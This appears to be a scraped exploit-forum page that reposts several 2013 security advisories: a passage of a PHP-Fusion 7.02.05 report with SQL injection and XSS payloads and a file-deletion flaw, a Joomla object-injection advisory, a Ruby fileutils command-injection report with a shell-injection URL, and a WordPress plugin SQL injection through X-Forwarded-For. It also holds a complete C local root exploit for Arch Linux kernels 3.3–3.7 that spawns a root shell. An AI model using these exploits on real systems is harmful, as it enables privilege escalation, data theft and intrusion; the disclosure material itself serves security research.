 '".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color1']) ?  
 $_POST['photo_watermark_text_color1'] : "FF6600")."' WHERE
settings_name='photo_watermark_text_color1'");  
 if (!$result) { $error = 1; }  
 $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=  
 '".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color2']) ?  
 $_POST['photo_watermark_text_color2'] : "FFFF00")."' WHERE
settings_name='photo_watermark_text_color2'");  
 if (!$result) { $error = 1; }  
 $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value='  
 ".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color3']) ?  
 $_POST['photo_watermark_text_color3'] : "FFFFFF")."' WHERE
settings_name='photo_watermark_text_color3'");  
 \------------------------[ source code end
]------------------------------------  
 
 We can see, that user-supplied POST parameter "thumb_compression" is used
in  
 SQL query without any sanitization. Other three affected parameters  
 "photo_watermark_text_color1", photo_watermark_text_color2",
"photo_watermark_text_color1"  
 are checked against regex, but this regex is flawed and does not stop SQL
injection.  
 Attacker can use "AABBCC'waraxe" and regex check is bypassed.  
 Correct regex would be "/^([0-9A-F]){6}$/i".  
 
 

###############################################################################  
 9\. SQL Injection in "administration/bbcodes.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied GET parameter "enable"  
 Preconditions:  
 1\. logged in as admin with BB Codes administration privileges  
 2\. magic_quotes_gpc=off  
 3\. PHP must be < 5.3.4 for null-byte attacks to work  
 
 
 Php script "administration/bbcodes.php" line 49:  
 \------------------------[ source code start
]----------------------------------  
 } elseif (isset($_GET['enable']) &&  
 file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include_var.php")
&&  
 file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include.php")) {  
 ...  
 $result = dbquery("INSERT INTO ".DB_BBCODES." (bbcode_name, bbcode_order)  
 VALUES ('".$_GET['enable']."', '".$order."')");  
 \------------------------[ source code end
]------------------------------------  
 
 We can see, that user-supplied GET parameter "enable" is used in SQL query  
 without sufficient sanitization. There are two checks against valid
filenames,  
 but it's possible to use null byte method to bypass these checks.  
 
 Test (parameter "aid" needs to be valid):  
 

[http://localhost/phpfusion70205/administra...=%00war'axe](http://localhost/phpfusion70205/administration/bbcodes.php?aid=c37dd1f4ea5686c5&enable=%00war'axe)  
 
 Result (302 redirect makes it difficult to see SQL error, Burp Proxy will
help):  
 
 You have an error in your SQL syntax; check the manual that corresponds to
your  
 MySQL server version for the right syntax to use near 'axe', '13')' at line
1  
 
 

###############################################################################  
 10\. SQL Injection in "administration/news.php" case 1  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameters "news_image", "news_image_t1"  
 and "news_image_t1"  
 Preconditions:  
 1\. logged in as admin with news administration privileges  
 2\. magic_quotes_gpc=off  
 
 
 Php script "administration/news.php" line 106:  
 \------------------------[ source code start
]----------------------------------  
 $news_image = (isset($_POST['news_image']) ? $_POST['news_image'] : "");  
 $news_image_t1 = (isset($_POST['news_image_t1']) ? $_POST['news_image_t1']
: "");  
 $news_image_t2 = (isset($_POST['news_image_t2']) ? $_POST['news_image_t2']
: "");  
 ...  
 $result = dbquery("UPDATE ".DB_NEWS." SET news_subject='$news_subject',  
 news_cat='$news_cat', news_end='$news_end_date', news_image='$news_image',  
 news_news='$body', news_extended='$body2', news_breaks='$news_breaks',  
 ".($news_start_date != 0 ? " news_datestamp='$news_start_date'," : "").  
 " news_start='$news_start_date', news_image_t1='$news_image_t1',
news_image_t2=  
 '$news_image_t2', news_visibility='$news_visibility',
news_draft='$news_draft',  
 news_sticky='$news_sticky', news_allow_comments='$news_comments',  
 news_allow_ratings='$news_ratings' WHERE news_id='".$_POST['news_id']."'");  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8"
method="post">  
 <input type="hidden" name="save" value="1">  
 <input type="hidden" name="news_image" value="war'axe">  
 <input type="hidden" name="news_image_t1" value="war'axe2">  
 <input type="hidden" name="news_image_t2" value="war'axe3">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 Result (302 redirect makes it difficult to see SQL error, Burp Proxy will
help):  
 
 You have an error in your SQL syntax; check the manual that corresponds to
your  
 MySQL server version for the right syntax to use  
 near 'axe', 'war'axe2', 'war'axe3', '0', '0', '0', '0', '0', '0')' at line
1  
 
 

###############################################################################  
 11\. SQL Injection in "administration/articles.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameter "article_id"  
 Preconditions:  
 1\. Logged in as admin with articles administration privileges  
 2\. magic_quotes_gpc=off  
 
 
 Php script "administration/articles.php" line :  
 \------------------------[ source code start
]----------------------------------  
 if ((isset($_GET['action']) && $_GET['action'] == "edit") &&  
 (isset($_POST['article_id']) && isnum($_POST['article_id'])) ||  
 (isset($_GET['article_id']) && isnum($_GET['article_id']))) {  
 $result = dbquery("SELECT article_cat, article_subject, article_snippet,  
 article_article, article_draft, article_breaks, article_allow_comments,  
 article_allow_ratings FROM ".DB_ARTICLES." WHERE  
 article_id='".(isset($_POST['article_id']) ? $_POST['article_id'] :
$_GET['article_id'])."'")  
 \------------------------[ source code end
]------------------------------------  
 
 As seen above, user-supplied parameter "article_id" goes through validation  
 before using in SQL query, but this validation has flawed logic. If we
submit  
 numeric GET parameter "article_id" and non-numeric malicious POST parameter  
 with the same name, then first check will pass, because GET parameter  
 is valid, but after that POST parameter is used in SQL query ...  
 
 Test (parameter "aid" must be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8&action=edit&article_id=123"
method="post">  
 <input type="hidden" name="article_id" value="0'UNION SELECT
1,@@version,3,4,5,6,7,'8">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 

###############################################################################  
 12\. SQL Injection in "administration/news.php" case 2  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameter "news_id"  
 Preconditions:  
 1\. logged in as admin with news administration privileges  
 2\. magic_quotes_gpc=off  
 
 This security vulnerability is similar to the previous case. User-supplied  
 data verification exists, but it's not able to stop SQL injection due to
flawed  
 logic.  
 
 Php script "administration/news.php" line 236:  
 \------------------------[ source code start
]----------------------------------  
 if ((isset($_GET['action']) && $_GET['action'] == "edit") &&  
 (isset($_POST['news_id']) && isnum($_POST['news_id'])) ||  
 (isset($_GET['news_id']) && isnum($_GET['news_id']))) {  
 $result = dbquery("SELECT news_subject, news_cat, news_news, news_extended,  
 news_start, news_end, news_image, news_image_t1, news_image_t2,
news_visibility,  
 news_draft, news_sticky, news_breaks, news_allow_comments,
news_allow_ratings  
 FROM ".DB_NEWS." WHERE news_id='".(isset($_POST['news_id']) ?
$_POST['news_id']  
 : $_GET['news_id'])."' LIMIT 1");  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8&action=edit&news_id=123"
method="post">  
 <input type="hidden" name="news_id" value="0'UNION SELECT
1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,'15">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 

###############################################################################  
 13\. Reflected XSS in "forum/viewthread.php"  

###############################################################################  
 
 Reason: insufficient sanitization of html output  
 Attack vector: user-supplied GET parameter "highlight"  
 Preconditions:  
 1\. there must exist at least one forum thread  
 
 
 Php script "forum/viewthread.php" line 361:  
 \------------------------[ source code start
]----------------------------------  
 // highlight jQuery plugin  
 if (isset($_GET['highlight'])) {  
 $words = explode(" ", urldecode($_GET['highlight']));  
 $higlight = ""; $i = 1; $c_words = count($words);  
 foreach ($words as $hlight) {  
 $higlight .= "'".$hlight."'";  
 $higlight .= ($i < $c_words ? "," : "");  
 $i++;  
 }  
 add_to_head("<script type='text/javascript'
src='".INCLUDES."jquery/jquery.highlight.js'></script>");  
 $highlight_js .=
"jQuery('.search_result').highlight([".$higlight."],{wordsOnly![:t](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)rue});";  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "thread_id" must be valid):  
 

[http://localhost/phpfusion70205/forum/view...highlight=%2527](http://localhost/phpfusion70205/forum/viewthread.php?thread_id=20&highlight=%2527)]);});alert(123);/*  
 
 

###############################################################################  
 14\. Reflected XSS in "messages.php"  

###############################################################################  
 
 Reason:  
 1\. uninitialized variables "$user_list" and "$user_types"  
 2\. insufficient sanitization of html output  
 Attack vector: user-supplied parameters "user_list", "user_types"  
 Preconditions:  
 1\. logged in as user  
 2\. register_globals=on  
 
 
 Php script "messages.php" line 482:  
 \------------------------[ source code start
]----------------------------------  
 if ($_GET['msg_send'] == "0") {  
 echo "<select name='msg_send' class='textbox'>\n".$user_list."</select>\n";  
 \------------------------[ source code end
]------------------------------------  
 
 Test:  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form action="http://localhost/phpfusion70205/messages.php?msg_send=0"
method="post">  
 <input type="hidden" name="chk_sendtoall" value="0">  
 <input type="hidden" name="user_list"
value="</select><script>alert(123);</script>">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 Similar problem is related to variable "$user_types", only in this case
admin  
 access level is needed:  
 
 Php script "messages.php" line 490:  
 \------------------------[ source code start
]----------------------------------  
 if (iADMIN && !isset($_GET['msg_id'])) {  
 echo "<label><input name='chk_sendtoall' type='checkbox' ".$sendtoall_chk."
/>\n";  
 echo "".$locale['434'].":</label> <select name='msg_to_group'
class='textbox'>\n".$user_types."</select>\n";  
 \------------------------[ source code end
]------------------------------------  
 
 

###############################################################################  
 15\. Reflected XSS in "infusions/shoutbox_panel/shoutbox_admin.php"  

###############################################################################  
 Reason:  
 1\. uninitialized variable "$message"  
 2\. insufficient sanitization of html output  
 Attack vector: user-supplied parameter "message"  
 Preconditions:  
 1\. logged in as admin with shoutbox administration privileges  
 2\. register_globals=on  
 
 Php script "infusions/shoutbox_panel/shoutbox_admin.php" line 149:  
 \------------------------[ source code start
]----------------------------------  
 if (isset($message) && $message != "") {  
 echo "<div id='close-message'><div class='admin-
message'>".$message."</div></div>\n"; }  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 

[http://localhost/phpfusion70205/infusions/...utbox_admin.php](http://localhost/phpfusion70205/infusions/shoutbox_panel/shoutbox_admin.php)?  
 aid=e017e24eb00e8ccf&page=settings&message=<body+onload=alert(123);+  
 
 

###############################################################################  
 16\. Reflected XSS in "administration/news.php"  

###############################################################################  
 Reason:  
 1\. uninitialized variable "$message"  
 2\. insufficient sanitization of html output  
 Attack vector: user-supplied parameter "message"  
 Preconditions:  
 1\. logged in as admin with news administration privileges  
 2\. register_globals=on  
 
 Php script "administration/news.php" line 31:  
 \------------------------[ source code start
]----------------------------------  
 if (isset($_GET['error']) && isnum($_GET['error'])) {  
 if ($_GET['error'] == 1) {  
 $message = $locale['413'];  
 ...  
 if ($message) { echo "<div id='close-message'>  
 <div class='admin-message'>".$message."</div></div>\n"; }  
 }  
 if (isset($_GET['status'])) {  
 if ($_GET['status'] == "sn") {  
 $message = $locale['410'];  
 ...  
 if ($message) { echo "<div id='close-message'>  
 <div class='admin-message'>".$message."</div></div>\n"; }  
 }  
 \------------------------[ source code end
]------------------------------------  
 
 Tests (parameter "aid" needs to be valid):  
 

[http://localhost/phpfusion70205/administra...ebd6f54040890e8](http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8)  
 &error=9&message=<body+onload=alert(123);+  
 

[http://localhost/phpfusion70205/administra...ebd6f54040890e8](http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8)  
 &status=1&message=<body+onload=alert(123);+  
 
 

###############################################################################  
 17\. Reflected XSS in "administration/panel_editor.php"  

###############################################################################  
 
 Reason:  
 1\. uninitialized variable "$panel_list"  
 2\. insufficient sanitization of html output  
 Attack vector: user-supplied parameter "panel_list"  
 Preconditions:  
 1\. logged in as admin with panel editing privileges  
 2\. register_globals=on  
 
 
 Php script "administration/panel_editor.php" line 32:  
 \------------------------[ source code start
]----------------------------------  
 while ($folder = readdir($temp)) {  
 if (!in_array($folder, array(".","..")) && strstr($folder, "_panel")) {  
 if (is_dir(INFUSIONS.$folder)) $panel_list[] = $folder;  
 }  
 }  
 ...  
 for ($i=0;$i < count($panel_list);$i++) {  
 echo "<option".($panel_filename == $panel_list[$i] ?  
 " selected='selected'" : "").">".$panel_list[$i]."</option>\n";  
 
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/administration/panel_editor.php?aid=e017e24eb00e8ccf"
method="post">  
 <input type="hidden" name="panel_list[]"
value="<script>alert(123);</script>">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 

###############################################################################  
 18\. Reflected XSS in "administration/phpinfo.php"  

###############################################################################  
 
 Reason: insufficient sanitization of html output  
 Attack vector: User-Agent string  
 Preconditions:  
 1\. logged in as admin with php info view privileges  
 
 Php script "administration/phpinfo.php" line 46:  
 \------------------------[ source code start
]----------------------------------  
 $phpinfo .= "<tr>\n<td class='tbl2'
style='width:20%'>".$locale['410']."</td>  
 <td class='tbl1' style='text-
align:right'>".$_SERVER['HTTP_USER_AGENT']."</td></tr>\n";  
 \------------------------[ source code end
]------------------------------------  
 
 

###############################################################################  
 19\. Reflected XSS in "administration/bbcodes.php"  

###############################################################################  
 
 Reason:  
 1\. uninitialized variable "$__BBCODE__"  
 2\. insufficient sanitization of html output  
 Attack vector: user-supplied parameter "__BBCODE__"  
 Preconditions:  
 1\. logged in as admin with bbcode settings change privileges  
 2\. register_globals=on  
 
 
 Php script "administration/bbcodes.php" line 141:  
 \------------------------[ source code start
]----------------------------------  
 echo "<td class='$cls'>".$__BBCODE__[0]['description']."</td>\n";  
 echo "<td class='$cls'>".$__BBCODE__[0]['usage']."</td>\n";  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 

[http://localhost/phpfusion70205/administra...93ec1754cc0b042](http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042)  
 &__BBCODE__[0][description]=<body+onload=alert(123);+  
 

[http://localhost/phpfusion70205/administra...93ec1754cc0b042](http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042)  
 &__BBCODE__[0][usage]=<body+onload=alert(123);+  
 

###############################################################################  
 20\. Reflected XSS in multiple admin scripts, affected parameter
"errorMessage"  

###############################################################################  
 
 Reason:  
 1\. uninitialized variables "$error" and "$errorMessage"  
 2\. insufficient sanitization of html output  
 Attack vector: user-supplied parameters "error" and "errorMessage"  
 Preconditions:  
 1\. logged in as admin with appropriate privileges  
 2\. register_globals=on  
 
 
 Php script "administration/article_cats.php" line 110:  
 \------------------------[ source code start
]----------------------------------  
 if (isset($error) && isnum($error)) {  
 if ($error == 1) {  
 $errorMessage = $locale['460'];  
 } elseif ($error == 2) {  
 $errorMessage = $locale['461'];  
 }  
 if ($errorMessage) { echo "<div id='close-message'>  
 <div class='admin-message'>".$errorMessage."</div></div>\n"; }  
 \------------------------[ source code end
]------------------------------------  
 
 The same vulnerability exists in four different admin scripts:  
 
 1\. administration/article_cats.php  
 2\. administration/download_cats.php  
 3\. administration/news_cats.php  
 4\. administration/weblink_cats.php  
 
 Tests (parameter "aid" needs to be valid):  
 

[http://localhost/phpfusion70205/administra...rticle_cats.php](http://localhost/phpfusion70205/administration/article_cats.php)?  
 aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
 

[http://localhost/phpfusion70205/administra...wnload_cats.php](http://localhost/phpfusion70205/administration/download_cats.php)?  
 aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
 
 <http://localhost/phpfusion70205/administration/news_cats.php>?  
 aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
 

[http://localhost/phpfusion70205/administra...eblink_cats.php](http://localhost/phpfusion70205/administration/weblink_cats.php)?  
 aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+  
 
 

###############################################################################  
 21\. Reflected XSS in "administration/articles.php"  

###############################################################################  
 
 Reason: insufficient sanitization of html output  
 Attack vector: user-supplied POST parameters "body" and "body2"  
 Preconditions:  
 1\. logged in as admin with articles administration privileges  
 
 
 Php script "administration/articles.php" line 70:  
 \------------------------[ source code start
]----------------------------------  
 $bodypreview = str_replace("src='".str_replace("../", "", IMAGES_A),  
 "src='".IMAGES_A, stripslash($_POST['body']));  
 $body2preview = str_replace("src='".str_replace("../", "", IMAGES_A),  
 "src='".IMAGES_A, stripslash($_POST['body2']));  
 ...  
 echo $bodypreview."\n";  
 ...  
 echo $body2preview."\n";  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8"
method="post">  
 <input type="hidden" name="preview" value="1">  
 <input type="hidden" name="body" value="<script>alert(123);</script>">  
 <input type="hidden" name="body2" value="<script>alert(321);</script>">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 

###############################################################################  
 22\. Arbitrary file deletion in "administration/db_backup.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameter "file"  
 Preconditions:  
 1\. logged in as admin with database backup privileges  
 
 
 Php script "administration/db_backup.php" line 130:  
 \------------------------[ source code start
]----------------------------------  
 if (isset($_POST['btn_cancel'])) {  
 @unlink(ADMIN."db_backups/".$_POST['file']);  
 redirect(FUSION_SELF.$aidlink);  
 }  
 \------------------------[ source code end
]------------------------------------  
 
 As we can see, user-supplied POST parameter "file" is used in php function  
 "unlink()" without any sanitization. It's possible to use directory
traversal  
 strings "../" and delete arbitrary files on the target system.  
 
 

###############################################################################  
 23\. Insecure database backup file handling in
"administration/db_backup.php"  

###############################################################################  
 
 PHP-Fusion admin with Database Backup privileges can use "Database Restore"  
 feature. First step is database backup file upload:  
 
 Php script "administration/db_backup.php" line 186:  
 \------------------------[ source code start
]----------------------------------  
 } elseif (isset($_GET['action']) && $_GET['action'] == "restore") {  
 if (is_uploaded_file($_FILES['upload_backup_file']['tmp_name'])) {  
 $temp_rand = rand(1000000, 9999999);  
 $temp_hash = substr(md5($temp_rand), 8, 8);  
 $file = "temp_".$temp_rand.".txt";  
 $backup_name = $_FILES['upload_backup_file']['name'];  
 move_uploaded_file($_FILES['upload_backup_file']['tmp_name'],
ADMIN."db_backups/".$file);  
 \------------------------[ source code end
]------------------------------------  
 
 As we can see, uploaded file will be moved to "db_backups" directory.  
 Two problems exist with that:  
 
 1\. There is no access restrictions to this directory. Anyone can access
uploaded  
 database backup files directly, given that filename is known:  
 

[http://localhost/phpfusion70205/administra...emp_4973205.txt](http://localhost/phpfusion70205/administration/db_backups/temp_4973205.txt)  
 
 2\. Database backup's filename is suppose to be random, but there is only
about  
 9 million possible filenames. Such weak filename randomness makes it
possible  
 to try bruteforce guessing.  
 
 Uploaded files are usually deleted within short timeframe, but may be left  
 intact for indefinite time period, if admin does not complete operation and  
 does not access database backup script again. In this case filename
bruteforce  
 may be realistic and as result sensitive data leakage from database may
occur  
 (hashed admin credentials for example).  
 
 Possible solutions:  
 1\. .htaccess file restricting directory access  
 2\. better filename randomness  
 
 
 Disclosure timeline:  

27.09.2012 -> Contacted developers
27.09.2012 -> Developer asked for details
28.09.2012 -> Sent details to developers
27.01.2013 -> Patched version 7.02.06 released
27.02.2013 -> Advisory released

Contact:

 
 come2waraxe@yahoo.com  
 Janek Vind "waraxe"  
 
 Waraxe forum: <http://www.waraxe.us/forums.html>  
 Personal homepage: <http://www.janekvind.com/>  
 Random project: <http://albumnow.com/>  
 \---------------------------------- [ EOF ]
------------------------------------

Click to expand...
Archlinux x86-64 3.3.x-3.7.x x86-64
ID: 67686ba3b4103b69df379d9c
Thread ID: 23948
Created: 2013-02-28T06:42:35+0000
Last Post: 2013-02-28T07:29:02+0000
Author: DarckSol
Prefix: Local
Replies: 1 Views: 1K

Code:Copy to clipboard

// archer.c
//
// 2012 sd@fucksheep.org
//
// Works reliably against x86-64 3.3-3.7 arch.
//
// Tested against:
//
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
// ...
  
#include <assert.h>
  
#define JUMP  0x0000100000001000LL
#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
  
static long ugid;
  
void patch_current() {
        int i,j,k;
        char *current = *(char**)(((long)&i) & (-8192));
        long kbase = ((long)current)>>36;
  
        for (i=0; i<4000; i+=4) {
                long *p = (void *)&current[i];
                int *t = (void*) p[0];
                if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
                for (j=0; j<20; j++) {
      for (k = 0; k < 8; k++)
                          if (((int*)&ugid)[k%2] != t[j+k]) goto next;
                        for (i = 0; i < 8; i++) t[j+i] = 0;
                        for (i = 0; i < 10; i++) t[j+9+i] = -1;
                        return;
next:;          }
        }
}
  
  
int main()
{
  long u = getuid();
  long g = getgid();
  int i, f = socket(16,3,4);
  static int n[10] = {40,0x10014,0,0,45,-1};
  
  assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);
  
  setresuid(u,u,u); setresgid(g,g,g);
  ugid = (g<<32)|u;
  
  memcpy(1<<12, &patch_current, 1024);
  for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
  send(f, n, sizeof(n), 0);
  setuid(0);
  return execl("/bin/bash", "-sh", 0);
}
Joomla! 3.0.2 PHP Object Injection
ID: 67686ba3b4103b69df379d9d
Thread ID: 23951
Created: 2013-02-28T06:48:48+0000
Last Post: 2013-02-28T06:48:48+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

-------------------------------------------------------------------
Joomla! <= 3.0.2 (highlight.php) PHP Object Injection Vulnerability
-------------------------------------------------------------------

[ - ] Software Link:

http://www.joomla.org/

[ - ] Affected Versions:

Version 3.0.2 and earlier 3.0.x versions.
Version 2.5.8 and earlier 2.5.x versions.

[ - ] Vulnerability Description:

The vulnerable code is located in /plugins/system/highlight/highlight.php:

56. // Get the terms to highlight from the request.
57. $terms = $input->request->get('highlight', null, 'base64');
58. $terms = $terms ? unserialize(base64_decode($terms)) : null;

User input passed through the "highlight" parameter is not properly sanitized before being used in
an unserialize() call at line 58. This can be exploited to inject arbitrary PHP objects into the
application scope. Successful exploitation of this vulnerability doesn't require authentication,
but requires the "System Highlight" plugin to be enabled (such as by default configuration).

[ - ] Solution:

Upgrade to version 3.0.3 or 2.5.9.

[ - ] Disclosure Timeline:

[31/10/2012] - Vendor notified
[08/11/2012] - Vendor asked for a proof of concept
[08/11/2012] - Proof of concept provided to the vendor
[04/02/2013] - Vendor update released
[27/02/2013] - Public disclosure

Click to expand...

Fileutils Ruby Gem Remote Command Execution
ID: 67686ba3b4103b69df379d9e
Thread ID: 23950
Created: 2013-02-28T06:47:46+0000
Last Post: 2013-02-28T06:47:46+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Possible remote command execution and insecure file handling in /tmp.
2/23/2013

http://rubygems.org/gems/fileutils

"A set of utility classes to extract meta data from different file types".

Handles files insecurely in /tmp, a directory is created for that file extension say 'zip' and files are maniplated there. This directory can be hijacked and the contents manipulated by a malicious user.

in ./lib/file_utils.rb

15 def zip (target, *sources)
16 targetdir = "{FileUtils::Config.tmp_dir}/zip"
17 id = 1
18 while File.exists?(targetdir)
19 targetdir = "{FileUtils::Config.tmp_dir}/zip#{id}"
20 id += 1
21 end
22 FileUtils.mkdir(targetdir)

where Config.tmp_dir = /tmp

in ./lib/file_utils/config.rb

5 def self.tmp_dir
6 @tmp_dir ||= '/tmp'
7 end

Remote command execution:

From file_utils.rb, doesn't sanitize input on URLs passed to CutyCapt for execution. If a URL contains shell characters say a ';' followed by a command a remote attacker execute a command on the clients system if they are enticed to click an encoded url like:

need to test URL encoding not sure if this is valid.

http://bla.net.org;id>/tmp/o; -> http://tinyurl.com/a5scxzz

7 def capture (url, target)
8 command = FileUtils::Config::Xvfb.command(File.dirname(FILE) + "/../bin/CutyCapt --min-width=1024 --min-height=768 --url={url} --out={target}")
9 #{command}
10 end

partial PoC if client is tricked into using malicious URL:

irb(main):001:0> xvfb-run --server-args="-screen 0,1024x768x24" ./CutyCapt --url=http://www.example.org;id>/tmp/foo; --out=/tmp/tempf xvfb-run: error: Xvfb failed to start
sh: 1: --out=/tmp/tempf: not found
=> ""
irb(main):002:0>

root@ubuntu:~/CutyCapt/cutycapt/CutyCapt ls -l /tmp/foo -rw-r--r-- 1 root root 39 Feb 27 02:56 /tmp/foo root@ubuntu:~/CutyCapt/cutycapt/CutyCapt cat /tmp/foo uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~/CutyCapt/cutycapt/CutyCapt#

Michael Scherer of Redhat.com found other issues during a discussion about the above issues I found:

In fact, there is the same similar problem in another file :
result = #{FileUtils::Config::OpenOffice.python} #{command} #{source} #{target} #{FileUtils::Config::OpenOffice.port}

I quickly checked using irb ( a quick command line to type ruby snippet, and yes, using funky chars result in funky results.

There is another issue in

Generates a temp filepath for the given extension def temp (extension)

path = "{FileUtils::Config.tmp_dir}/tmp.{extension}" id = 1
while File.exists?(path)

path = "{FileUtils::Config.tmp_dir}/tmp.{id}.#{extension}"
id += 1

end

Since someone could just create the file at the last moment, and make a link so the script would overwrite an arbitrary file.

Thanks to vl4dz and Michael.

Click to expand...

Wordpress Comment Rating Plugin 2.9.32
ID: 67686ba3b4103b69df379d9f
Thread ID: 23949
Created: 2013-02-28T06:44:57+0000
Last Post: 2013-02-28T06:44:57+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: Wordpress plugin: Comment Rating SQL injection
# Google Dork:
# Date: 21/02/2013
# Exploit Author: ebanyu
# Url Author: www.ebanyu.com.ar
# Vendor Homepage: wealthynetizen.com
# Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
# Version: 2.9.32
# Tested on: Fedora 18 + mysql 5.5 + php 5.4
  
  
  
Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
  
First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49         if(strstr($row['ck_ips'], $ip)) {
50            // die('error|You have already voted on this item!');
51            // Just don't count duplicated votes
52            $duplicated = 1;
53            $ck_ips = $row['ck_ips'];
54         }
  
Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
  
  
So let's take a look in the DB
  
mysql> select * from wp_comment_rating;
+---------------+----------------+--------------+----------------+
| ck_comment_id | ck_ips         | ck_rating_up | ck_rating_down |
+---------------+----------------+--------------+----------------+
|             2 | ,20.209.10.130 |            1 |              0 |
|             3 |                |            0 |              0 |
+---------------+----------------+--------------+----------------+
2 rows in set (0.00 sec)
  
  
Now made a HTTP request with a injection in the HTTP_X_FORWARDED_FOR header:
  
GET /wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a&imgIndex=1_14_ HTTP/1.1
Host: 192.168.1.10
Accept-Encoding: gzip, deflate
X-Forwarded-For: ', ck_ips=(select user()) WHERE ck_comment_id=2#
Connection: keep-alive
  
  
And the result is:
  
mysql> select * from wp_comment_rating;
+---------------+---------------------+--------------+----------------+
| ck_comment_id | ck_ips              | ck_rating_up | ck_rating_down |
+---------------+---------------------+--------------+----------------+
|             2 | wordpress@localhost |            2 |              0 |
|             3 |                     |            0 |              0 |
+---------------+---------------------+--------------+----------------+
2 rows in set (0.00 sec)
  
Cheers
  
=======================================================================================
  
  
# Exploit Title: Wordpress plugin: Comment Rating Bypass vote limitation
# Date: 21/02/2013
# Exploit Author: ebanyu
# Url Author: www.ebanyu.com.ar
# Vendor Homepage: wealthynetizen.com
# Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
# Version: 2.9.32
# Tested on: Fedora 18 + mysql 5.5 + php 5.4
  
  
Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
  
First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
